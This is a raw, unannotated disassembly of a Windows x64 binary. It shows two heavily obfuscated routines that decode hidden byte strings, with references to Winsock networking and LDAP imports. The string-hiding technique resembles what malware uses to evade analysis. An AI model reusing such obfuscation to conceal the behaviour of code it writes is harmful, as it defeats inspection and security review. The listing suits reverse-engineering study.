lea rcx, [rbx + 0x30]
call fcn.14006abf0
mov rsi, rax
mov byte [rbp + 0x6b0], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x6b1], 0xff
mov byte [rbp + 0x6b2], recv
mov byte [rbp + 0x6b3], 0xf5
mov byte [rbp + 0x6b4], 0xfc
mov byte [rbp + 0x6b5], 0xf4
mov byte [rbp + 0x6b6], 0x46
mov byte [rbp + 0x6b7], reloc.WS2_32.dll_listen
mov byte [rbp + 0x6b8], 0xfd
mov byte [rbp + 0x6b9], 0xea
mov byte [rbp + 0x6ba], 0xef
mov byte [rbp + 0x6bb], 2
mov byte [rbp + 0x6bc], 0xf4
mov byte [rbp + 0x6bd], 0xee
mov byte [rbp + 0x6be], 0x9e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x6bf], xmm0
mov dword [rbp + 0x6cf], eax
movabs rdx, 0x8be2d63e609a2c72
movabs r14, 0x799b931deca5a55a
movabs r12, 0xf42a53de73b621e6
movabs r13, 0xdc64a761b281c902
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x14008dd14
movzx ebx, byte [rbp + rdi + 0x6b0]
mov r10, rbx
cmp r8, rdi
ja 0x14008dd08
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008d03a
lea rcx, [rdi + rdx]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x1e
jmp 0x14008d073
je 0x14008dc68
inc rax
cmp r8, rax
je 0x14008dc09
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008dbab
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008db41
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008dae5
cmp r9, rdi
ja 0x14008dcfc
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x14008d0a3
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x76
jmp 0x14008d0d0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008dabd
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008da8a
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008da67
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14008d6da
nop dword [rax]
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14008d6b2
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14008d67c
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14008d649
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14008d621
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14008d5f9
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008d5bc
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14008d599
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14008d571
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14008dcd9
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14008dca7
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14008d294
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14008d27a
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14008d260
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14008d50a
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14008d4a8
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14008d457
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14008d41f
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14008d0e0
lea r8, [r9 + 0x61]
lea r9, [r8 + 5]
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14008d3f7
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14008d3d0
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14008d3ad
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14008d36b
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14008d343
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14008d32f
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14008d2fc
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14008d2c6
lea r8, [r9 + 0xa]
lea r9, [r8 + 2]
jmp 0x14008d0e0
lea rcx, [rdi + r12]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4a
jmp 0x14008d0d0
lea rcx, [rdi + r13]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xe
jmp 0x14008d073
movabs rdx, 0xc49efae4f14d701e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0x8be2d63e609a2c72
jmp 0x14008d004
movabs rcx, 0xb516ec72a3f8d1ec
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
inc r9
dec rdi
inc rdi
movabs rdx, 0x8be2d63e609a2c72
jmp 0x14008cff2
movabs rcx, 0x9d513ff5e2c47908
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
dec rdi
inc rdi
movabs rdx, 0x8be2d63e609a2c72
jmp 0x14008cff2
movabs rdx, 0x858b937921902024
mov ecx, 2
jmp 0x14008db50
movabs rdx, 0x6dc5e6fc605bc740
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008db89
movabs rdx, 0x56003a7f9f276e5c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x8be2d63e609a2c72
jmp 0x14008cff2
movabs rcx, 0x3e3a8e02ddf31578
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
jmp 0x14008dbd2
movabs rdx, 0x2674e1861cbebc94
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0xc
add r11b, dl
jmp 0x14008dc31
movabs rdx, 0xeaf35095b8a63b0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008dc87
movabs rcx, 0x534105d178878576
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3a
mov byte [rbp + rdi + 0x6b0], r11b
inc rdi
movabs rdx, 0x8be2d63e609a2c72
jmp 0x14008cff2
movabs rdx, 0x3b7b5954b7532c92
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 5
jb 0x14008d43d
movabs rdx, 0xbc615cda7d6db56c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x14008db07
movabs rdx, 0x23b5acd7f61ed3ae
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 9
jae 0x14008da14
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x14008d91a
movabs rdx, 0xcea89ffaf1623c84
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008d47a
movabs rdx, 0xbf0005b34ea7aca
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 0x1000
je 0x14008da3d
lea rax, [r9 + 4]
cmp r8, rax
jbe 0x14008d80e
movabs rdx, 0x550d0cdd04bc972a
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x26
add r11b, dl
jmp 0x14008d4cb
movabs rdx, 0xc1dfc636caad8738
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008dc31
movabs rcx, 0xaa1a19ba09792e54
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
jmp 0x14008dbd2
movabs rcx, 0x92546d3d4844d570
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x8be2d63e609a2c72
jmp 0x14008cff2
movabs rdx, 0x7a8ec0c087107c8c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008db89
movabs rdx, 0x62c91443c5dc23a8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008db64
movabs rcx, 0x4b0367c704a7cac4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
dec rdi
inc rdi
movabs rdx, 0x8be2d63e609a2c72
jmp 0x14008cff2
movabs rcx, 0x333dbb4a437371e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
inc r9
dec rdi
inc rdi
movabs rdx, 0x8be2d63e609a2c72
jmp 0x14008cff2
movabs rdx, 0x1b780ecd823f18fc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008db07
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x14008d704
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1e
add r11b, dl
jmp 0x14008d52d
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14008d739
movabs rdx, 0xf337263bd94b4ab4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008dc87
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008d769
movabs rcx, 0x22c27f355bb3fc7c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x64
jmp 0x14008dbd2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14008d79e
movabs rdx, 0x524dd82ede1cae44
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008db89
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008d7ce
movabs rcx, 0x6a1384ab9f510728
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
jmp 0x14008db64
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14008d52d
movabs rcx, 0x81d931286085600c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x54
dec rdi
inc rdi
movabs rdx, 0x8be2d63e609a2c72
jmp 0x14008cff2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008d83e
movabs rcx, 0x6cd2b959c5f0f00e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x62
jmp 0x14008db07
inc rax
cmp r8, rax
jne 0x14008d885
movabs rdx, 0x849865d6872548f2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
movabs rdx, 0x8be2d63e609a2c72
jmp 0x14008cff2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008d8ba
movabs rdx, 0xfb74c4464d2b0566
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008dbd2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008d8ea
movabs rcx, 0x133a70c30e5f5e4a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 6
jmp 0x14008dc31
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008d4cb
movabs rcx, 0x2b001d3fcf93b72e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x42
jmp 0x14008dc87
jne 0x14008d948
movabs rdx, 0xe66e4c77b2969568
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008dc87
inc rax
cmp r8, rax
jne 0x14008d97b
movabs rdx, 0xfe33f8f473caee4c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x14
add r11b, dl
jmp 0x14008dc31
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008d9ab
movabs rcx, 0x15f9a57134ff4730
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
jmp 0x14008dbd2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008d9df
movabs rdx, 0x5d4aaae7789c51dc
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 4
add r11b, dl
jmp 0x14008db64
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008d47a
movabs rdx, 0xa49bb05dbc395c88
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008db07
movabs rdx, 0xd42709573ea20e50
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0x6b0]
sub r11b, al
sub r11b, 0x30
jmp 0x14008db5e
movabs rcx, 0xebecb5d3ffd66734
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0x6b0]
lea r11d, [rbx + rcx]
sub r11b, 0x6c
jmp 0x14008dbd2
movabs rcx, 0x37c8f703f6486c7a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x56
jmp 0x14008dc31
movabs rcx, 0xc0ec98943042b006
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2a
dec rdi
inc rdi
movabs rdx, 0x8be2d63e609a2c72
jmp 0x14008cff2
movabs rdx, 0x91613f9aadd9fe3e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008db07
movabs rdx, 0x61d5e6a12b714c76
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x3a
add r11b, dl
movabs rcx, 0x48443318de07e1de
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x12
add cl, bl
mov byte [rbp + rdi + 0x6b0], cl
inc r9
dec rdi
inc rdi
movabs rdx, 0x8be2d63e609a2c72
jmp 0x14008cff2
movabs rdx, 0x1a84e12ae7d441ca
mov ecx, 0x3d
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rcx, 0x6009df959f3c3ac2
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x4e
add cl, bl
add cl, r11b
mov byte [rbp + rdi + 0x6b0], cl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x8be2d63e609a2c72
jmp 0x14008cff2
mov rbx, r10
movabs rdx, 0xd333dbb4a437371e
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rdx, 0x77cf8c12607093a6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, dl
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x6b0], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x14008dc31
movabs rdx, 0xbb6e2f37e302de3a
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx ebx, r10b
movabs rdx, 0x3b26250c10ac018
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x6b0], cl
inc r8
mov rax, r15
sub rax, r8
add rdi, rax
jmp 0x14008dc87
movabs rcx, 0xa3a882bb21ce8556
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x5a
movzx eax, byte [rbp + rdi + 0x6b0]
add rax, r9
add rdi, rax
inc rdi
movabs rdx, 0x8be2d63e609a2c72
jmp 0x14008cff2
movabs rdx, 0xacd94e683019173a
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0x8be2d63e609a2c72
jmp 0x14008cff0
movabs rcx, 0x9513a1eb6ee4be56
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5a
jmp 0x14008cfe0
lea rcx, [rbp + 0x155e348]
jmp 0x14008dd1b
lea rcx, [rbp + 0x1700fba]
jmp 0x14008dd1b
lea rcx, [rbp + 0x6b0]
mov rdx, rsi
call fcn.140035b50
lea rdx, [0x140236b50]
lea rcx, [rbp + 0x160]
call fcn.140002660
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xf0]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002800
lea rcx, [rbx + 0x30]
call fcn.14006abf0
mov rdi, rax
mov byte [rbp + 0x6d8], 4
mov byte [rbp + 0x6d9], Ordinal_50
mov byte [rbp + 0x6da], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x6db], 0x63
mov byte [rbp + 0x6dc], Ordinal_45
mov byte [rbp + 0x6dd], Ordinal_41
mov byte [rbp + 0x6de], Ordinal_211
mov byte [rbp + 0x6df], Ordinal_211
mov byte [rbp + 0x6e0], 0x3d
mov byte [rbp + 0x6e1], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x6e2], 0x58
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x6e3], xmm0
mov qword [rbp + 0x6f3], rax
movabs rsi, 0x5c643991dfe11d27
movabs r13, 0xf83588d62f3b7b4b
movabs r14, 0xc5114c4ba54bf1b9
movabs r12, 0xd4a63a9f46d4fb23
movzx edx, byte [rsp + 0x40]
nop dword [rax + rax]
mov r9, qword [0x14023d108]
mov r8, qword [0x14023d100]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14008eba9
movzx r11d, byte [rbp + rbx + 0x6d8]
mov r10, r11
nop dword [rax + rax]
cmp r9, rbx
ja 0x14008eb9d
lea rax, [r8 + 1]
cmp r9, rax
jae 0x14008de62
lea rcx, [rbx + r13]
mov rax, r11
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, r11
add rdx, rcx
sub dl, 0xd
jmp 0x14008dea0
je 0x14008eb15
lea rax, [r8 + 3]
cmp r9, rax
je 0x14008ea7c
lea rax, [r8 + 4]
cmp r9, rax
je 0x14008ea47
lea rax, [r8 + 6]
cmp r9, rax
je 0x14008e9ec
lea rax, [r8 + 2]
cmp r9, rax
je 0x14008e9bf
nop dword [rax]
cmp r8, rbx
ja 0x14008eb91
lea rax, [r8 + 0x7a]
cmp r9, rax
jae 0x14008ded0
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x11
jmp 0x14008df11
lea rax, [r8 + 1]
cmp r9, rax
je 0x14008e96c
lea rax, [r8 + 3]
cmp r9, rax
je 0x14008e942
lea rax, [r8 + 5]
cmp r9, rax
je 0x14008e910
lea rax, [r8 + 7]
cmp r9, rax
je 0x14008e8ed
lea rax, [r8 + 2]
cmp r9, rax
je 0x14008e8b9
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14008e508
nop
lea rax, [r8 + 6]
cmp r9, rax
je 0x14008e4e2
lea rax, [r8 + 4]
cmp r9, rax
je 0x14008e4b3
lea rax, [r8 + 2]
cmp r9, rax
je 0x14008e487
lea rax, [r8 + 0x2a]
cmp r9, rax
je 0x14008e461
lea rax, [r8 + 0x41]
cmp r9, rax
je 0x14008e429
lea rax, [r8 + 0x61]
cmp r9, rax
je 0x14008e3f7
lea rax, [r8 + 0x400]
cmp r9, rax
je 0x14008e3d4
lea rax, [r8 + 0x200]
cmp r9, rax
je 0x14008e3b1
lea rax, [r8 + 0x64]
cmp r9, rax
je 0x14008e37d
lea rax, [r8 + 0x40]
cmp r9, rax
je 0x14008df20
lea r9, [r8 + 0x28]
lea r8, [r9 + 0x20]
lea rax, [r8 + 0x10]
cmp r9, rax
jb 0x14008eb6d
lea rax, [r8 + 0x5a]
cmp r9, rax
jb 0x14008eb49
lea rax, [r8 + 0x7a]
cmp r9, rax
jb 0x14008e0e3
lea rax, [r8 + 0x1000]
cmp r9, rax
jb 0x14008e0c9
lea rax, [r8 + 0x3e8]
cmp r9, rax
jb 0x14008e0ad
lea rax, [r8 + 0x80]
cmp r9, rax
jb 0x14008e321
lea rax, [r8 + 0x42]
cmp r9, rax
jb 0x14008e2c1
lea rax, [r8 + 0x28]
cmp r9, rax
jb 0x14008e26e
lea rax, [r8 + 9]
cmp r9, rax
jb 0x14008df20
lea r9, [r8 + 8]
lea r8, [r9 + 6]
lea rax, [r8 + 5]
cmp r9, rax
ja 0x14008e237
lea rax, [r8 + 3]
cmp r9, rax
ja 0x14008e211
lea rax, [r8 + 1]
cmp r9, rax
ja 0x14008e1ed
lea rax, [r8 + 0x5a]
cmp r9, rax
ja 0x14008e1ba
lea rax, [r8 + 0x7a]
cmp r9, rax
ja 0x14008e184
lea rax, [r8 + 0x1000]
cmp r9, rax
ja 0x14008e15f
lea rax, [r8 + 0x3e8]
cmp r9, rax
ja 0x14008e135
lea rax, [r8 + 8]
cmp r9, rax
ja 0x14008e108
lea r9, [r8 + 2]
lea r8, [r9 + 1]
jmp 0x14008df20
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0xf
add dl, cl
jmp 0x14008df11
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0xb
jmp 0x14008dea0
movabs rdx, 0xe43b28f2e85e048d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x25
add dl, cl
jmp 0x14008de25
movabs rcx, 0xf2b6bae2a091f2a2
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x6e
inc r8
dec rbx
inc rbx
jmp 0x14008de12
movabs rcx, 0x24ba936421afc0c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x54
dec rbx
inc rbx
jmp 0x14008de12
movabs rdx, 0x11e09789e3a40576
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x3a
add dl, cl
jmp 0x14008ea0a
movabs rcx, 0x217585dd852d0ee0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x20
add r9, r8
movzx eax, dl
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008de12
movabs rcx, 0x310a743126b6184a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 6
movzx eax, dl
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008de12
movabs rdx, 0x409f6284c83f21b4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r11b
jmp 0x14008ea9d
movabs rdx, 0x503450d869c82b1e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14008eacf
movabs rdx, 0x5fc93f2c0b513488
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
movzx eax, byte [rbp + rbx + 0x6d8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14008de12
movabs rdx, 0x96528150c0b0d57b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x5d
add dl, cl
cmp r8, 0x42
jb 0x14008e854
movabs rdx, 0xe5548556d1b31fe2
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea edx, [rcx*2 - 0x5c]
jmp 0x14008e98a
movabs rdx, 0xa5e76fa46239dee5
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x43
add dl, cl
cmp r9, 0x400
jae 0x14008e863
lea rax, [r8 + 0x3e8]
cmp r9, rax
jbe 0x14008e762
movabs rcx, 0x8125d49b210d7e06
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x2a
jmp 0x14008e28e
movabs rcx, 0xb57c5df803c2e84f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x29
lea rax, [r8 + r9]
cmp rax, 0x5a
je 0x14008e88f
lea rax, [r8 + 0x41]
cmp r9, rax
jbe 0x14008e64d
movabs rcx, 0x24c19b09412c60df
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x19
jmp 0x14008e2e1
movabs rcx, 0x2a59596b3f46aeea
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x66
movzx eax, byte [rbp + rbx + 0x6d8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14008de12
movabs rcx, 0x39ee47bee0cfb854
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4c
jmp 0x14008eacf
movabs rdx, 0x498336128258c1be
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x32
jmp 0x14008ea9d
movabs rcx, 0x5918246623e1cb28
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x18
movzx eax, dl
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008de12
movabs rdx, 0x68ad12b9c56ad492
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 1
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
add r9, r8
movzx eax, dl
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008de12
movabs rdx, 0x7842010d66f3ddfc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14008ea0a
movabs rdx, 0x87d6ef61087ce766
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
dec rbx
inc rbx
jmp 0x14008de12
movabs rdx, 0x976bddb4aa05f0d0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
